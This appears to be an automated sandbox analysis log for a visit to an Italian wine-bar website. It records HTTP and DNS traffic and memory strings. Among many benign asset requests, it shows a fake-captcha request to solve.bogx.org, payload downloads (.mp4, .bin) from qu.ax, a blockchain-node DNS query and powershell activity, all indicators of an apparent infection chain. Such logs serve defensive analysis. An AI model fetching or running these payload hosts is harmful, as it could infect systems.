Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/06/sfondo_cerchi.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes
Source: global traffic	HTTP traffic detected: GET /metrika/advert.gif HTTP/1.1Host: mc.yandex.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yashr=4971233111736425168; yabs-sid=1132875371736425169; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjEzMiIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xMzIiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjEzMiIi; sync_cookie_csrf=239647205fake; yandexuid=261293701736425167; yuidss=261293701736425167; i=6wleOrWhjK8noyzjZuCs3wh1NvauUmnyDHLt7gSHpkr4lPwlwBxZwxSakIgXLQz7L6UWBlx+HC87B6D/KLjv8fwipoA=; sync_cookie_ok=synced; yp=1736511573.yu.261293701736425167; ymex=1739017173.oyu.261293701736425167#1767961169.yrts.1736425169
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.22.19-1051x630.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.26.09-1222x630.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/09/MG_4783-67-copia-2.jpg HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.25.05.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Sala-interna1-1500x630.jpg HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-template-builder/assets/fonts/entypo-fontello.woff HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.cipassoitalia.itsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.25.53-1222x630.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Vini-italiani-eccellenti-1500x630.jpg HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Dettaglio-della-sala-interna-1500x630.jpg HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.27.20-1222x630.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.26.09-1222x630.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Sala-interna1-1500x630.jpg HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/05/cropped-Cipasso_Simbolo-32x32.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.25.05.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/05/cropped-Cipasso_Simbolo-32x32.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ec HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: solve.bogx.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SpgOJ.mp4 HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Connection: Keep-AliveHost: qu.ax
Source: global traffic	HTTP traffic detected: GET /TORof.bin HTTP/1.1Host: qu.axConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: cipassoitalia.itConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: chromecache_344.1.dr, chromecache_256.1.dr	String found in binary or memory: src: '//www.youtube.com/embed/%id%' equals www.youtube.com (Youtube)
Source: chromecache_362.1.dr	String found in binary or memory: <meta property="article:publisher" content="https://www.facebook.com/federicaalimenti85/" /> equals www.facebook.com (Facebook)
Source: chromecache_171.1.dr, chromecache_284.1.dr	String found in binary or memory: youtube : {loaded: false, src: 'https://www.youtube.com/iframe_api' } equals www.youtube.com (Youtube)
Source: chromecache_362.1.dr	String found in binary or memory: .","breadcrumb":{"@id":"https://www.cipassoitalia.it/vineria-e-bistrot-al-centro-di-roma-2/#breadcrumb"},"inLanguage":"it-IT","potentialAction":[{"@type":"ReadAction","target":["https://www.cipassoitalia.it/vineria-e-bistrot-al-centro-di-roma-2/"]}]},{"@type":"BreadcrumbList","@id":"https://www.cipassoitalia.it/vineria-e-bistrot-al-centro-di-roma-2/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home"}]},{"@type":"WebSite","@id":"https://www.cipassoitalia.it/#website","url":"https://www.cipassoitalia.it/","name":"CIPASSO","description":""CiPASSO e me ne innamoro"","publisher":{"@id":"https://www.cipassoitalia.it/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.cipassoitalia.it/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"it-IT"},{"@type":"Organization","@id":"https://www.cipassoitalia.it/#organization","name":"CiPASSO","url":"https://www.cipassoitalia.it/","logo":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https://www.cipassoitalia.it/#/schema/logo/image/","url":"https://www.cipassoitalia.it/wp-content/uploads/2022/09/CIPASSO_logo_600.png","contentUrl":"https://www.cipassoitalia.it/wp-content/uploads/2022/09/CIPASSO_logo_600.png","width":600,"height":285,"caption":"CiPASSO"},"image":{"@id":"https://www.cipassoitalia.it/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/federicaalimenti85/","https://www.instagram.com/come_io_mi_voglio/"]}]}</script> equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: cipassoitalia.it
Source: global traffic	DNS traffic detected: DNS query: www.cipassoitalia.it
Source: global traffic	DNS traffic detected: DNS query: s.w.org
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: data-seed-prebsc-1-s1.bnbchain.org
Source: global traffic	DNS traffic detected: DNS query: _8545._https.data-seed-prebsc-1-s1.bnbchain.org
Source: global traffic	DNS traffic detected: DNS query: use.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: mc.yandex.ru
Source: global traffic	DNS traffic detected: DNS query: mc.yandex.com
Source: global traffic	DNS traffic detected: DNS query: solve.bogx.org
Source: global traffic	DNS traffic detected: DNS query: qu.ax

Source: unknown

HTTP traffic detected: POST /watch/99162160/1?page-url=goal%3A%2F%2Fwww.cipassoitalia.it%2FClick&page-ref=https%3A%2F%2Fwww.cipassoitalia.it%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.132%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.132%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.132%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&hittoken=1736425170_88ffae83acc9fbf8ff4fbc444dec873fe02f100783c8a7b9e9012cfd3e29144d&browser-info=ar%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A3%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A1%3Als%3A715124884331%3Ahid%3A1009997951%3Az%3A-300%3Ai%3A20250109071929%3Aet%3A1736425170%3Ac%3A1%3Arn%3A689832676%3Arqn%3A2%3Au%3A1736425167496978039%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Awv%3A2%3Aco%3A0%3Acpf%3A1%3Aeu%3A2%3Ans%3A1736425147384%3Arqnl%3A1%3Ast%3A1736425170%3At%3ACiPASSO.%20Nel%20cuore%20di%20Roma%2C%20ad%20un%20passo%20dal%20Pantheon.&t=gdpr(14)clc(1-522-442)rqnt(2)aw(1)rcm(1)cdl(na)eco(42009088)dss(2)ti(0)&force-urlencoded=1&site-info=%7B%22clientID%22%3A%22097be2dd-7dc7-422c-9982-4234373a85ec%22%7D HTTP/1.1Host: mc.yandex.comConnection: keep-aliveContent-Length: 0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://www.cipassoitalia.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=gTaD/EjvhW/GKVkO5Iw0SIcuK723LMdCEHuFe9D7uodpDgPghD6oGwV239a6vJ6ZYFXszON86TLsbGwz7TLgVWlG9YE=; yandexuid=4861718441736425168; yashr=4971233111736425168; yabs-sid=1132875371736425169; yuidss=4861718441736425168; ymex=1767961169.yrts.1736425169; receive-cookie-deprecation=1; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjEzMiIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xMzIiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjEzMiIi; sync_cookie_csrf=239647205fake

Source: chromecache_206.1.dr	String found in binary or memory: http://artsy.github.io/blog/2012/10/18/so-you-want-to-do-a-css3-3d-transform/
Source: chromecache_254.1.dr, chromecache_211.1.dr	String found in binary or memory: http://aviathemes.com
Source: chromecache_318.1.dr, chromecache_323.1.dr	String found in binary or memory: http://blog.christoffer.me/six-things-i-learnt-about-ios-safaris-rubber-band-scrolling/
Source: chromecache_224.1.dr, chromecache_231.1.dr, chromecache_255.1.dr, chromecache_338.1.dr	String found in binary or memory: http://cipa.jp/exif/1.0/
Source: chromecache_369.1.dr, chromecache_191.1.dr	String found in binary or memory: http://dimsemenov.com/plugins/magnific-popup/
Source: chromecache_341.1.dr	String found in binary or memory: http://fontawesome.com
Source: chromecache_341.1.dr	String found in binary or memory: http://fontawesome.com/license
Source: chromecache_340.1.dr, chromecache_257.1.dr	String found in binary or memory: http://github.com/benbarnett/jQuery-Animate-Enhanced
Source: chromecache_362.1.dr	String found in binary or memory: http://gmpg.org/xfn/11
Source: chromecache_171.1.dr, chromecache_284.1.dr	String found in binary or memory: http://jquery.com
Source: chromecache_254.1.dr, chromecache_211.1.dr	String found in binary or memory: http://kriesi.at
Source: chromecache_318.1.dr, chromecache_323.1.dr	String found in binary or memory: http://my.opera.com/emoller/blog/2011/12/20/requestanimationframe-for-smart-er-animating
Source: powershell.exe, 00000012.00000002.2013760231.000001613CDF4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2047084467.000001614B487000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2047084467.000001614B5C3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2414647541.0000000005FD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: chromecache_192.1.dr	String found in binary or memory: http://papermashup.com/demos/css-buttons)
Source: chromecache_318.1.dr, chromecache_323.1.dr	String found in binary or memory: http://paulirish.com/2011/requestanimationframe-for-smart-animating/
Source: powershell.exe, 00000014.00000002.2414647541.000000000508A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000012.00000002.2013760231.000001613CCA7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2013760231.000001613CC7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.pnghq%
Source: powershell.exe, 00000012.00000002.2013760231.000001613B411000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2414647541.0000000004F71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: chromecache_356.1.dr, chromecache_367.1.dr	String found in binary or memory: http://tizen.org/system/tizenid
Source: powershell.exe, 00000012.00000002.2013760231.000001613C898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000014.00000002.2414647541.000000000508A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2491652036.000000000765A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000012.00000002.2013760231.000001613CCA7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2013760231.000001613CC7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlhq%
Source: powershell.exe, 00000014.00000002.2414647541.0000000004F71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000012.00000002.2013760231.000001613B411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: chromecache_362.1.dr	String found in binary or memory: https://api.w.org/
Source: powershell.exe, 00000014.00000002.2414647541.0000000005FD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000014.00000002.2414647541.0000000005FD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000014.00000002.2414647541.0000000005FD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: chromecache_202.1.dr	String found in binary or memory: https://dmp.adform.net/serving/cookie/match?party=1123
Source: chromecache_356.1.dr, chromecache_367.1.dr	String found in binary or memory: https://eu.asas.yango.com/mapuid
Source: chromecache_171.1.dr, chromecache_284.1.dr	String found in binary or memory: https://f.vimeocdn.com/js/froogaloop2.min.js
Source: chromecache_362.1.dr	String found in binary or memory: https://fonts.googleapis.com
Source: chromecache_362.1.dr	String found in binary or memory: https://fonts.googleapis.com/css2?display=swap&family=Raleway:wght
Source: chromecache_362.1.dr	String found in binary or memory: https://fonts.gstatic.com
Source: chromecache_303.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/dancingscript/v25/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7BMSo3ROp8ltA.wo
Source: chromecache_303.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/dancingscript/v25/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7BMSo3Rep8ltA.wo
Source: chromecache_303.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/dancingscript/v25/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7BMSo3Sup8.woff2
Source: chromecache_303.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/dosis/v32/HhyJU5sn9vOmLxNkIwRSjTVNWLEJBbMl1BMEfq4.woff2)
Source: chromecache_303.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/dosis/v32/HhyJU5sn9vOmLxNkIwRSjTVNWLEJBbMl1RMEfq4.woff2)
Source: chromecache_303.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/dosis/v32/HhyJU5sn9vOmLxNkIwRSjTVNWLEJBbMl2xME.woff2)
Source: chromecache_303.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/fjallaone/v15/Yq6R-LCAWCX3-6Ky7FAFrO56kigt.woff2)
Source: chromecache_303.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/fjallaone/v15/Yq6R-LCAWCX3-6Ky7FAFrO96kigt.woff2)
Source: chromecache_303.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/fjallaone/v15/Yq6R-LCAWCX3-6Ky7FAFrOF6kg.woff2)
Source: chromecache_303.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/fjallaone/v15/Yq6R-LCAWCX3-6Ky7FAFrOx6kigt.woff2)
Source: chromecache_303.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/raleway/v34/1Ptug8zYS_SKggPNyC0ITw.woff2)
Source: chromecache_303.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/raleway/v34/1Ptug8zYS_SKggPNyCAIT5lu.woff2)
Source: chromecache_303.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/raleway/v34/1Ptug8zYS_SKggPNyCIIT5lu.woff2)
Source: chromecache_303.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/raleway/v34/1Ptug8zYS_SKggPNyCMIT5lu.woff2)
Source: chromecache_303.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/raleway/v34/1Ptug8zYS_SKggPNyCkIT5lu.woff2)
Source: chromecache_362.1.dr	String found in binary or memory: https://forms.pienissimo.com/?hash=UZuyPFB7D33R7lvcjvW37OHaRuQxWlgK&id=Fl7E3J
Source: chromecache_265.1.dr, chromecache_216.1.dr	String found in binary or memory: https://github.com/AviaThemes/wp-themes/issues/812
Source: chromecache_258.1.dr	String found in binary or memory: https://github.com/KriesiMedia/wp-themes/issues/1171
Source: powershell.exe, 00000014.00000002.2414647541.000000000508A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2491652036.000000000765A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000012.00000002.2013760231.000001613CCA7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2013760231.000001613CC7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pesterhq%
Source: powershell.exe, 00000012.00000002.2013760231.000001613CC7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pesterp
